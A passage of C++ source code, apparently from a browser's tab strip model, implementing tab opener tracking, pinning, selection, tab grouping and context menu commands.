opener_and_descendants.insert(contents_data_[i]->web_contents());\n    last_index = i;\n  }\n  return last_index;\n}\n\nvoid TabStripModel::TabNavigating(WebContents* contents,\n                                  ui::PageTransition transition) {\n  if (ShouldForgetOpenersForTransition(transition)) {\n    // Don't forget the openers if this tab is a New Tab page opened at the\n    // end of the TabStrip (e.g. by pressing Ctrl+T). Give the user one\n    // navigation of one of these transition types before resetting the\n    // opener relationships (this allows for the use case of opening a new\n    // tab to do a quick look-up of something while viewing a tab earlier in\n    // the strip). We can make this heuristic more permissive if need be.\n    if (!IsNewTabAtEndOfTabStrip(contents)) {\n      // If the user navigates the current tab to another page in any way\n      // other than by clicking a link, we want to pro-actively forget all\n      // TabStrip opener relationships since we assume they're beginning a\n      // different task by reusing the current tab.\n      ForgetAllOpeners();\n    }\n  }\n}\n\nvoid TabStripModel::SetTabBlocked(int index, bool blocked) {\n  DCHECK(ContainsIndex(index));\n  if (contents_data_[index]->blocked() == blocked)\n    return;\n  contents_data_[index]->set_blocked(blocked);\n  for (auto& observer : observers_)\n    observer.TabBlockedStateChanged(contents_data_[index]->web_contents(),\n                                    index);\n}\n\nvoid TabStripModel::SetTabPinned(int index, bool pinned) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  SetTabPinnedImpl(index, pinned);\n}\n\nbool TabStripModel::IsTabPinned(int index) const {\n  DCHECK(ContainsIndex(index)) << index;\n  return contents_data_[index]->pinned();\n}\n\nbool TabStripModel::IsTabCollapsed(int index) const {\n  absl::optional<tab_groups::TabGroupId> group = GetTabGroupForTab(index);\n  return group.has_value() && IsGroupCollapsed(group.value());\n}\n\nbool TabStripModel::IsGroupCollapsed(\n    const tab_groups::TabGroupId& group) const {\n  return group_model()->ContainsTabGroup(group) &&\n         group_model()->GetTabGroup(group)->visual_data()->is_collapsed();\n}\n\nbool TabStripModel::IsTabBlocked(int index) const {\n  return contents_data_[index]->blocked();\n}\n\nabsl::optional<tab_groups::TabGroupId> TabStripModel::GetTabGroupForTab(\n    int index) const {\n  return ContainsIndex(index) ? contents_data_[index]->group() : absl::nullopt;\n}\n\nabsl::optional<tab_groups::TabGroupId> TabStripModel::GetSurroundingTabGroup(\n    int index) const {\n  if (!ContainsIndex(index - 1) || !ContainsIndex(index))\n    return absl::nullopt;\n\n  // If the tab before is not in a group, a tab inserted at |index|\n  // wouldn't be surrounded by one group.\n  absl::optional<tab_groups::TabGroupId> group = GetTabGroupForTab(index - 1);\n  if (!group)\n    return absl::nullopt;\n\n  // If the tab after is in a different (or no) group, a new tab at\n  // |index| isn't surrounded.\n  if (group != GetTabGroupForTab(index))\n    return absl::nullopt;\n  return group;\n}\n\nint TabStripModel::IndexOfFirstNonPinnedTab() const {\n  for (size_t i = 0; i < contents_data_.size(); ++i) {\n    if (!IsTabPinned(static_cast<int>(i)))\n      return static_cast<int>(i);\n  }\n  // No pinned tabs.\n  return count();\n}\n\nvoid TabStripModel::ExtendSelectionTo(int index) {\n  DCHECK(ContainsIndex(index));\n  ui::ListSelectionModel new_model = selection_model_;\n  new_model.SetSelectionFromAnchorTo(index);\n  SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n}\n\nbool TabStripModel::ToggleSelectionAt(int index) {\n  if (!delegate()->IsTabStripEditable())\n    return false;\n  DCHECK(ContainsIndex(index));\n  ui::ListSelectionModel new_model = selection_model();\n  if (selection_model_.IsSelected(index)) {\n    if (selection_model_.size() == 1) {\n      // One tab must be selected and this tab is currently selected so we can't\n      // unselect it.\n      return false;\n    }\n    new_model.RemoveIndexFromSelection(index);\n    new_model.set_anchor(index);\n    if (new_model.active() == index ||\n        new_model.active() == ui::ListSelectionModel::kUnselectedIndex)\n      new_model.set_active(*new_model.selected_indices().begin());\n  } else {\n    new_model.AddIndexToSelection(index);\n    new_model.set_anchor(index);\n    new_model.set_active(index);\n  }\n  SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n  return true;\n}\n\nvoid TabStripModel::AddSelectionFromAnchorTo(int index) {\n  ui::ListSelectionModel new_model = selection_model_;\n  new_model.AddSelectionFromAnchorTo(index);\n  SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n}\n\nbool TabStripModel::IsTabSelected(int index) const {\n  DCHECK(ContainsIndex(index));\n  return selection_model_.IsSelected(index);\n}\n\nvoid TabStripModel::SetSelectionFromModel(ui::ListSelectionModel source) {\n  DCHECK_NE(ui::ListSelectionModel::kUnselectedIndex, source.active());\n  SetSelection(std::move(source), TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n}\n\nconst ui::ListSelectionModel& TabStripModel::selection_model() const {\n  return selection_model_;\n}\n\nvoid TabStripModel::AddWebContents(\n    std::unique_ptr<WebContents> contents,\n    int index,\n    ui::PageTransition transition,\n    int add_types,\n    absl::optional<tab_groups::TabGroupId> group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  // If the newly-opened tab is part of the same task as the parent tab, we want\n  // to inherit the parent's opener attribute, so that if this tab is then\n  // closed we'll jump back to the parent tab.\n  bool inherit_opener = (add_types & ADD_INHERIT_OPENER) == ADD_INHERIT_OPENER;\n\n  if (ui::PageTransitionTypeIncludingQualifiersIs(transition,\n                                                  ui::PAGE_TRANSITION_LINK) &&\n      (add_types & ADD_FORCE_INDEX) == 0) {\n    // We assume tabs opened via link clicks are part of the same task as their\n    // parent.  Note that when |force_index| is true (e.g. when the user\n    // drag-and-drops a link to the tab strip), callers aren't really handling\n    // link clicks, they just want to score the navigation like a link click in\n    // the history backend, so we don't inherit the opener in this case.\n    index = order_controller_->DetermineInsertionIndex(transition,\n                                                       add_types & ADD_ACTIVE);\n    inherit_opener = true;\n\n    // The current active index is our opener. If the tab we are adding is not\n    // in a group, set the group of the tab to that of its opener.\n    if (!group.has_value())\n      group = GetTabGroupForTab(active_index());\n  } else {\n    // For all other types, respect what was passed to us, normalizing -1s and\n    // values that are too large.\n    if (index < 0 || index > count())\n      index = count();\n  }\n\n  // Prevent the tab from being inserted at an index that would make the group\n  // non-contiguous. Most commonly, the new-tab button always attempts to insert\n  // at the end of the tab strip. Extensions can insert at an arbitrary index,\n  // so we have to handle the general case.\n  if (group.has_value()) {\n    gfx::Range grouped_tabs =\n        group_model_->GetTabGroup(group.value())->ListTabs();\n    if (grouped_tabs.length() > 0) {\n      index = base::ClampToRange(index, static_cast<int>(grouped_tabs.start()),\n                                 static_cast<int>(grouped_tabs.end()));\n    }\n  } else if (GetTabGroupForTab(index - 1) == GetTabGroupForTab(index)) {\n    group = GetTabGroupForTab(index);\n  }\n\n  if (ui::PageTransitionTypeIncludingQualifiersIs(transition,\n                                                  ui::PAGE_TRANSITION_TYPED) &&\n      index == count()) {\n    // Also, any tab opened at the end of the TabStrip with a \"TYPED\"\n    // transition inherit opener as well. This covers the cases where the user\n    // creates a New Tab (e.g. Ctrl+T, or clicks the New Tab button), or types\n    // in the address bar and presses Alt+Enter. This allows for opening a new\n    // Tab to quickly look up something. When this Tab is closed, the old one\n    // is re-activated, not the next-adjacent.\n    inherit_opener = true;\n  }\n  WebContents* raw_contents = contents.get();\n  InsertWebContentsAtImpl(index, std::move(contents),\n                          add_types | (inherit_opener ? ADD_INHERIT_OPENER : 0),\n                          group);\n  // Reset the index, just in case insert ended up moving it on us.\n  index = GetIndexOfWebContents(raw_contents);\n\n  // In the \"quick look-up\" case detailed above, we want to reset the opener\n  // relationship on any active tab change, even to another tab in the same tree\n  // of openers. A jump would be too confusing at that point.\n  if (inherit_opener && ui::PageTransitionTypeIncludingQualifiersIs(\n                            transition, ui::PAGE_TRANSITION_TYPED))\n    contents_data_[index]->set_reset_opener_on_active_tab_change(true);\n\n  // TODO(sky): figure out why this is here and not in InsertWebContentsAt. When\n  // here we seem to get failures in startup perf tests.\n  // Ensure that the new WebContentsView begins at the same size as the\n  // previous WebContentsView if it existed.  Otherwise, the initial WebKit\n  // layout will be performed based on a width of 0 pixels, causing a\n  // very long, narrow, inaccurate layout.  Because some scripts on pages (as\n  // well as WebKit's anchor link location calculation) are run on the\n  // initial layout and not recalculated later, we need to ensure the first\n  // layout is performed with sane view dimensions even when we're opening a\n  // new background tab.\n  if (WebContents* old_contents = GetActiveWebContents()) {\n    if ((add_types & ADD_ACTIVE) == 0) {\n      raw_contents->Resize(\n          gfx::Rect(old_contents->GetContainerBounds().size()));\n    }\n  }\n}\n\nvoid TabStripModel::CloseSelectedTabs() {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  const ui::ListSelectionModel::SelectedIndices& sel =\n      selection_model_.selected_indices();\n  InternalCloseTabs(\n      GetWebContentsesByIndices(std::vector<int>(sel.begin(), sel.end())),\n      CLOSE_CREATE_HISTORICAL_TAB | CLOSE_USER_GESTURE);\n}\n\nvoid TabStripModel::SelectNextTab(UserGestureDetails detail) {\n  SelectRelativeTab(true, detail);\n}\n\nvoid TabStripModel::SelectPreviousTab(UserGestureDetails detail) {\n  SelectRelativeTab(false, detail);\n}\n\nvoid TabStripModel::SelectLastTab(UserGestureDetails detail) {\n  ActivateTabAt(count() - 1, detail);\n}\n\nvoid TabStripModel::MoveTabNext() {\n  MoveTabRelative(true);\n}\n\nvoid TabStripModel::MoveTabPrevious() {\n  MoveTabRelative(false);\n}\n\ntab_groups::TabGroupId TabStripModel::AddToNewGroup(\n    const std::vector<int>& indices) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  // Ensure that the indices are sorted and unique.\n  DCHECK(base::ranges::is_sorted(indices));\n  DCHECK(std::adjacent_find(indices.begin(), indices.end()) == indices.end());\n\n  // The odds of |new_group| colliding with an existing group are astronomically\n  // low. If there is a collision, a DCHECK will fail in |AddToNewGroupImpl()|,\n  // in which case there is probably something wrong with\n  // |tab_groups::TabGroupId::GenerateNew()|.\n  const tab_groups::TabGroupId new_group =\n      tab_groups::TabGroupId::GenerateNew();\n  AddToNewGroupImpl(indices, new_group);\n  return new_group;\n}\n\nvoid TabStripModel::AddToExistingGroup(const std::vector<int>& indices,\n                                       const tab_groups::TabGroupId& group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  // Ensure that the indices are sorted and unique.\n  DCHECK(base::ranges::is_sorted(indices));\n  DCHECK(std::adjacent_find(indices.begin(), indices.end()) == indices.end());\n  DCHECK(ContainsIndex(*(indices.begin())));\n  DCHECK(ContainsIndex(*(indices.rbegin())));\n\n  AddToExistingGroupImpl(indices, group);\n}\n\nvoid TabStripModel::MoveTabsAndSetGroup(\n    const std::vector<int>& indices,\n    int destination_index,\n    absl::optional<tab_groups::TabGroupId> group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  MoveTabsAndSetGroupImpl(indices, destination_index, group);\n}\n\nvoid TabStripModel::AddToGroupForRestore(const std::vector<int>& indices,\n                                         const tab_groups::TabGroupId& group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  const bool group_exists = group_model_->ContainsTabGroup(group);\n  if (group_exists)\n    AddToExistingGroupImpl(indices, group);\n  else\n    AddToNewGroupImpl(indices, group);\n}\n\nvoid TabStripModel::UpdateGroupForDragRevert(\n    int index,\n    absl::optional<tab_groups::TabGroupId> group_id,\n    absl::optional<tab_groups::TabGroupVisualData> group_data) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n  if (group_id.has_value()) {\n    const bool group_exists = group_model_->ContainsTabGroup(group_id.value());\n    if (!group_exists)\n      group_model_->AddTabGroup(group_id.value(), group_data);\n    GroupTab(index, group_id.value());\n  } else {\n    UngroupTab(index);\n  }\n}\n\nvoid TabStripModel::RemoveFromGroup(const std::vector<int>& indices) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  std::map<tab_groups::TabGroupId, std::vector<int>> indices_per_tab_group;\n\n  for (int index : indices) {\n    absl::optional<tab_groups::TabGroupId> old_group = GetTabGroupForTab(index);\n    if (old_group.has_value())\n      indices_per_tab_group[old_group.value()].push_back(index);\n  }\n\n  for (const auto& kv : indices_per_tab_group) {\n    const TabGroup* group = group_model_->GetTabGroup(kv.first);\n    const int first_tab_in_group = group->GetFirstTab().value();\n    const int last_tab_in_group = group->GetLastTab().value();\n\n    // This is an estimate. If the group is non-contiguous it will be\n    // larger than the true size. This can happen while dragging tabs in\n    // or out of a group.\n    const int num_tabs_in_group = last_tab_in_group - first_tab_in_group + 1;\n    const int group_midpoint = first_tab_in_group + num_tabs_in_group / 2;\n\n    // Split group into |left_of_group| and |right_of_group| depending on\n    // whether the index is closest to the left or right edge.\n    std::vector<int> left_of_group;\n    std::vector<int> right_of_group;\n    for (int index : kv.second) {\n      if (index < group_midpoint) {\n        left_of_group.push_back(index);\n      } else {\n        right_of_group.push_back(index);\n      }\n    }\n    MoveTabsAndSetGroupImpl(left_of_group, first_tab_in_group, absl::nullopt);\n    MoveTabsAndSetGroupImpl(right_of_group, last_tab_in_group + 1,\n                            absl::nullopt);\n  }\n}\n\nbool TabStripModel::IsReadLaterSupportedForAny(const std::vector<int> indices) {\n  ReadingListModel* model =\n      ReadingListModelFactory::GetForBrowserContext(profile_);\n  if (!model || !model->loaded())\n    return false;\n  for (int index : indices) {\n    if (model->IsUrlSupported(\n            chrome::GetURLToBookmark(GetWebContentsAt(index))))\n      return true;\n  }\n  return false;\n}\n\nvoid TabStripModel::AddToReadLater(const std::vector<int>& indices) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  AddToReadLaterImpl(indices);\n}\n\nvoid TabStripModel::CreateTabGroup(const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kCreated);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::OpenTabGroupEditor(const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kEditorOpened);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::ChangeTabGroupContents(\n    const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kContentsChanged);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::ChangeTabGroupVisuals(\n    const tab_groups::TabGroupId& group,\n    const TabGroupChange::VisualsChange& visuals) {\n  TabGroupChange change(group, visuals);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::MoveTabGroup(const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kMoved);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::CloseTabGroup(const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kClosed);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nint TabStripModel::GetTabCount() const {\n  return static_cast<int>(contents_data_.size());\n}\n\n// Context menu functions.\nbool TabStripModel::IsContextMenuCommandEnabled(\n    int context_index,\n    ContextMenuCommand command_id) const {\n  DCHECK(command_id > CommandFirst && command_id < CommandLast);\n  switch (command_id) {\n    case CommandNewTabToRight:\n    case CommandCloseTab:\n      return true;\n\n    case CommandReload: {\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      for (size_t i = 0; i < indices.size(); ++i) {\n        WebContents* tab = GetWebContentsAt(indices[i]);\n        if (tab) {\n          Browser* browser = chrome::FindBrowserWithWebContents(tab);\n          if (!browser || browser->CanReloadContents(tab))\n            return true;\n        }\n      }\n      return false;\n    }\n\n    case CommandCloseOtherTabs:\n    case CommandCloseTabsToRight:\n      return !GetIndicesClosedByCommand(context_index, command_id).empty();\n\n    case CommandDuplicate: {\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      for (size_t i = 0; i < indices.size(); ++i) {\n        if (delegate()->CanDuplicateContentsAt(indices[i]))\n          return true;\n      }\n      return false;\n    }\n\n    case CommandToggleSiteMuted:\n      return true;\n\n    case CommandTogglePinned:\n      return true;\n\n    case CommandToggleGrouped:\n      return true;\n\n    case CommandFocusMode:\n      return GetIndicesForCommand(context_index).size() == 1;\n\n    case CommandSendTabToSelf:\n      return true;\n\n    case CommandSendTabToSelfSingleTarget:\n      return true;\n\n    case CommandAddToReadLater:\n      return true;\n\n    case CommandAddToNewGroup:\n      return true;\n\n    case CommandAddToExistingGroup:\n      return true;\n\n    case CommandRemoveFromGroup:\n      return true;\n\n    case CommandMoveToExistingWindow:\n      return true;\n\n    case CommandMoveTabsToNewWindow: {\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      const bool would_leave_strip_empty =\n          static_cast<int>(indices.size()) == count();\n      return !would_leave_strip_empty &&\n             delegate()->CanMoveTabsToWindow(indices);\n    }\n\n    default:\n      NOTREACHED();\n  }\n  return false;\n}\n\nvoid TabStripModel::ExecuteContextMenuCommand(int context_index,\n                                              ContextMenuCommand command_id) {\n  DCHECK(command_id > CommandFirst && command_id < CommandLast);\n  // The tab strip may have been modified while the context menu was open,\n  // including closing the tab originally at |context_index|.\n  if (!ContainsIndex(context_index))\n    return;\n  switch (command_id) {\n    case CommandNewTabToRight: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_NewTab\"));\n      UMA_HISTOGRAM_ENUMERATION(\"Tab.NewTab\",\n                                TabStripModel::NEW_TAB_CONTEXT_MENU,\n                                TabStripModel::NEW_TAB_ENUM_COUNT);\n      delegate()->AddTabAt(GURL(), context_index + 1, true,\n                           GetTabGroupForTab(context_index));\n      break;\n    }\n\n    case CommandReload: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_Reload\"));\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      for (size_t i = 0; i < indices.size(); ++i) {\n        WebContents* tab = GetWebContentsAt(indices[i]);\n        if (tab) {\n          Browser* browser = chrome::FindBrowserWithWebContents(tab);\n          if (!browser || browser->CanReloadContents(tab))\n            tab->GetController().Reload(content::ReloadType::NORMAL, true);\n        }\n      }\n      break;\n    }\n\n    case CommandDuplicate: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_Duplicate\"));\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      // Copy the WebContents off as the indices will change as tabs are\n      // duplicated.\n      std::vector<WebContents*> tabs;\n      for (size_t i = 0; i < indices.size(); ++i)\n        tabs.push_back(GetWebContentsAt(indices[i]));\n      for (size_t i = 0; i < tabs.size(); ++i) {\n        int index = GetIndexOfWebContents(tabs[i]);\n        if (index != -1 && delegate()->CanDuplicateContentsAt(index))\n          delegate()->DuplicateContentsAt(index);\n      }\n      break;\n    }\n\n    case CommandCloseTab: {\n      ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_CloseTab\"));\n      InternalCloseTabs(\n          GetWebContentsesByIndices(GetIndicesForCommand(context_index)),\n          CLOSE_CREATE_HISTORICAL_TAB | CLOSE_USER_GESTURE);\n      break;\n    }\n\n    case CommandCloseOtherTabs: {\n      ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_CloseOtherTabs\"));\n      InternalCloseTabs(GetWebContentsesByIndices(GetIndicesClosedByCommand(\n                            context_index, command_id)),\n                        CLOSE_CREATE_HISTORICAL_TAB);\n      break;\n    }\n\n    case CommandCloseTabsToRight: {\n      ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_CloseTabsToRight\"));\n      InternalCloseTabs(GetWebContentsesByIndices(GetIndicesClosedByCommand(\n                            context_index, command_id)),\n                        CLOSE_CREATE_HISTORICAL_TAB);\n      break;\n    }\n\n    case CommandSendTabToSelfSingleTarget: {\n      send_tab_to_self::ShareToSingleTarget(GetWebContentsAt(context_index));\n      send_tab_to_self::RecordDeviceClicked(\n          send_tab_to_self::ShareEntryPoint::kTabMenu);\n      break;\n    }\n\n    case CommandTogglePinned: {\n      ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_TogglePinned\"));\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      bool pin = WillContextMenuPin(context_index);\n      if (pin) {\n        for (size_t i = 0; i < indices.size(); ++i)\n          SetTabPinnedImpl(indices[i], true);\n      } else {\n        // Unpin from the back so that the order is maintained (unpinning can\n        // trigger moving a tab).\n        for (size_t i = indices.size(); i > 0; --i)\n          SetTabPinnedImpl(indices[i - 1], false);\n      }\n      break;\n    }\n\n    case CommandToggleGrouped: {\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      bool group = WillContextMenuGroup(context_index);\n      if (group) {\n        tab_groups::TabGroupId new_group = AddToNewGroup(indices);\n        OpenTabGroupEditor(new_group);\n      } else {\n        RemoveFromGroup(indices);\n      }\n\n      break;\n    }\n\n    case CommandFocusMode: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_FocusMode\"));\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      WebContents* contents = GetWebContentsAt(indices[0]);\n      web_app::ReparentWebContentsForFocusMode(contents);\n      break;\n    }\n\n    case CommandToggleSiteMuted: {\n      const bool mute = WillContextMenuMuteSites(context_index);\n      if (mute) {\n        base::RecordAction(\n            UserMetricsAction(\"SoundContentSetting.MuteBy.TabStrip\"));\n      } else {\n        base::RecordAction(\n            UserMetricsAction(\"SoundContentSetting.UnmuteBy.TabStrip\"));\n      }\n      SetSitesMuted(GetIndicesForCommand(context_index), mute);\n      break;\n    }\n\n    case CommandAddToReadLater: {\n      base::RecordAction(\n          UserMetricsAction(\"DesktopReadingList.AddItem.FromTabContextMenu\"));\n      AddToReadLater(GetIndicesForCommand(context_index));\n      break;\n    }\n\n    case CommandAddToNewGroup: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_AddToNewGroup\"));\n\n      tab_groups::TabGroupId new_group =\n          AddToNewGroup(GetIndicesForCommand(context_index));\n      OpenTabGroupEditor(new_group);\n      break;\n    }\n\n    case CommandAddToExistingGroup: {\n      // Do nothing. The submenu's delegate will invoke\n      // ExecuteAddToExistingGroupCommand with the correct group later.\n      break;\n    }\n\n    case CommandRemoveFromGroup: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_RemoveFromGroup\"));\n      RemoveFromGroup(GetIndicesForCommand(context_index));\n      break;\n    }\n\n    case CommandMoveToExistingWindow: {\n      // Do nothing. The submenu's delegate will invoke\n      // ExecuteAddToExistingWindowCommand with the correct window later.\n      break;\n    }\n\n    case CommandMoveTabsToNewWindow: {\n      base::RecordAction(\n          UserMetricsAction(\"TabContextMenu_MoveTabToNewWindow\"));\n      delegate()->MoveTabsToNewWindow(GetIndicesForCommand(context_index));\n      break;\n    }\n\n    default:\n      NOTREACHED();\n  }\n}\n\nvoid TabStripModel::ExecuteAddToExistingGroupCommand(\n    int context_index,\n    const tab_groups::TabGroupId& group) {\n  base::RecordAction(UserMetricsAction(\"TabContextMenu_AddToExistingGroup\"));\n\n  if (!ContainsIndex(context_index))\n    return;\n  AddToExistingGroup(GetIndicesForCommand(context_index), group);\n}\n\nvoid TabStripModel::ExecuteAddToExistingWindowCommand(int context_index,\n                                                      int browser_index) {\n  base::RecordAction(UserMetricsAction(\"TabContextMenu_AddToExistingWindow\"));\n\n  if (!ContainsIndex(context_index))\n    return;\n  delegate()->MoveToExistingWindow(GetIndicesForCommand(context_index),\n                                   browser_index);\n}\n\nstd::vector<std::u16string> TabStripModel::GetExistingWindowsForMoveMenu() {\n  return delegate()->GetExistingWindowsForMoveMenu();\n}\n\nbool TabStripModel::WillContextMenuMuteSites(int index) {\n  return !chrome::AreAllSitesMuted(*this, GetIndicesForCommand(index));\n}\n\nbool TabStripModel::WillContextMenuPin(int index) {\n  std::vector<int> indices = GetIndicesForCommand(index);\n  // If all tabs are pinned, then we unpin, otherwise we pin.\n  bool all_pinned = true;\n  for (size_t i = 0; i < indices.size() && all_pinned; ++i)\n    all_pinned = IsTabPinned(indices[i]);\n  return !all_pinned;\n}\n\nbool TabStripModel::WillContextMenuGroup(int index) {\n  std::vector<int> indices = GetIndicesForCommand(index);\n  DCHECK(!indices.empty());\n\n  // If all tabs are in the same group, then we ungroup, otherwise we group.\n  absl::optional<tab_groups::TabGroupId> group = GetTabGroupForTab(indices[0]);\n  if (!group.has_value())\n    return true;\n\n  for (size_t i = 1; i < indices.size(); ++i) {\n    if (GetTabGroupForTab(indices[i]) != group)\n      return true;\n  }\n  return false;\n}\n\n// static\nbool TabStripModel::ContextMenuCommandToBrowserCommand(int cmd_id,\n                                                       int* browser_cmd) {\n  switch (cmd_id) {\n    case CommandReload:\n      *browser_cmd = IDC_RELOAD;\n      break;\n    case CommandDuplicate:\n      *browser_cmd = IDC_DUPLICATE_TAB;\n      break;\n    case CommandSendTabToSelf:\n      *browser_cmd = IDC_SEND_TAB_TO_SELF;\n      break;\n    case CommandSendTabToSelfSingleTarget:\n      *browser_cmd = IDC_SEND_TAB_TO_SELF_SINGLE_TARGET;\n      break;\n    case CommandCloseTab:\n      *browser_cmd = IDC_CLOSE_TAB;\n      break;\n    case CommandFocusMode:\n      *browser_cmd = IDC_FOCUS_THIS_TAB;\n      break;\n    default:\n      *browser_cmd = 0;\n      return false;\n  }\n\n  return true;\n}\n\nint TabStripModel::GetIndexOfNextWebContentsOpenedBy(const WebContents* opener,\n                                                     int start_index) const {\n  DCHECK(opener);\n  DCHECK(ContainsIndex(start_index));\n\n  // Check tabs after start_index first.\n  for (int i = start_index + 1; i < count(); ++i) {\n    if (contents_data_[i]->opener() == opener)\n      return i;\n  }\n  // Then check tabs before start_index, iterating backwards.\n  for (int i = start_index - 1; i >= 0; --i) {\n    if (contents_data_[i]->opener() == opener)\n      return i;\n  }\n  return kNoTab;\n}\n\nabsl::optional<int> TabStripModel::GetNextExpandedActiveTab(\n    int start_index,\n    absl::optional<tab_groups::TabGroupId> collapsing_group) const {\n  // Check tabs from the start_index first.\n  for (int i = start_index + 1; i < count(); ++i) {\n    absl::optional<tab_groups::TabGroupId> current_group = GetTabGroupForTab(i);\n    if (!current_group.has_value() ||\n        (!IsGroupCollapsed(current_group.value()) &&\n         current_group != collapsing_group)) {\n      return i;\n    }\n  }\n  // Then check tabs before start_index, iterating backwards.\n  for (int i = start_index - 1; i >= 0; --i) {\n    absl::optional<tab_groups::TabGroupId> current_group = GetTabGroupForTab(i);\n    if (!current_group.has_value() ||\n        (!IsGroupCollapsed(current_group.value()) &&\n         current_group != collapsing_group)) {\n      return i;\n    }\n  }\n  return absl::nullopt;\n}\n\nvoid TabStripModel::ForgetAllOpeners() {\n  for (const auto& data : contents_data_)\n    data->set_opener(nullptr);\n}\n\nvoid TabStripModel::ForgetOpener(WebContents* contents) {\n  const int index = GetIndexOfWebContents(contents);\n  DCHECK(ContainsIndex(index));\n  contents_data_[index]->set_opener(nullptr);\n}\n\nbool TabStripModel::ShouldResetOpenerOnActiveTabChange(\n    WebContents* contents) const {\n  const int index = GetIndexOfWebContents(contents);\n  DCHECK(ContainsIndex(index));\n  return contents_data_[index]->reset_opener_on_active_tab_change();\n}\n\nvoid TabStripModel::WriteIntoTrace(perfetto::TracedValue context) const {\n  auto dict = std::move(context).WriteDictionary();\n  dict.Add(\"active_index\", active_index());\n  dict.Add(\"tabs\", contents_data_);\n}\n\n///////////////////////////////////////////////////////////////////////////////\n// TabStripModel, private:\n\nbool TabStripModel::RunUnloadListenerBeforeClosing(\n    content::WebContents* contents) {\n  return delegate_->RunUnloadListenerBeforeClosing(contents);\n}\n\nbool TabStripModel::ShouldRunUnloadListenerBeforeClosing(\n    content::WebContents* contents) {\n  return contents->NeedToFireBeforeUnloadOrUnloadEvents() ||\n         delegate_->ShouldRunUnloadListenerBeforeClosing(contents);\n}\n\nint TabStripModel::ConstrainInsertionIndex(int index, bool pinned_tab) const {\n  return pinned_tab\n             ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab())\n             : base::ClampToRange(index, IndexOfFirstNonPinnedTab(), count());\n}\n\nint TabStripModel::ConstrainMoveIndex(int index, bool pinned_tab) const {\n  return pinned_tab\n             ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab() - 1)\n             : base::ClampToRange(index, IndexOfFirstNonPinnedTab(),\n                                  count() - 1);\n}\n\nstd::vector<int> TabStripModel::GetIndicesForCommand(int index) const {\n  if (!IsTabSelected(index))\n    return {index};\n  const ui::ListSelectionModel::SelectedIndices& sel =\n      selection_model_.selected_indices();\n  return std::vector<int>(sel.begin(), sel.end());\n}\n\nstd::vector<int> TabStripModel::GetIndicesClosedByCommand(\n    int index,\n    ContextMenuCommand id) const {\n  DCHECK(ContainsIndex(index));\n  DCHECK(id == CommandCloseTabsToRight || id == CommandCloseOtherTabs);\n  bool is_selected = IsTabSelected(index);\n  int last_unclosed_tab = -1;\n  if (id == CommandCloseTabsToRight) {\n    last_unclosed_tab =\n        is_selected ? *selection_model_.selected_indices().rbegin() : index;\n  }\n\n  // NOTE: callers expect the vector to be sorted in descending order.\n  std::vector<int> indices;\n  for (int i = count() - 1; i > last_unclosed_tab; --i) {\n    if (i != index && !IsTabPinned(i) && (!is_selected || !IsTabSelected(i)))\n      indices.push_back(i);\n  }\n  return indices;\n}\n\nbool TabStripModel::IsNewTabAtEndOfTabStrip(WebContents* contents) const {\n  const GURL& url = contents->GetLastCommittedURL();\n  return url.SchemeIs(content::kChromeUIScheme) &&\n         url.host_piece() == chrome::kChromeUINewTabHost &&\n         contents == GetWebContentsAtImpl(count() - 1) &&\n         contents->GetController().GetEntryCount() == 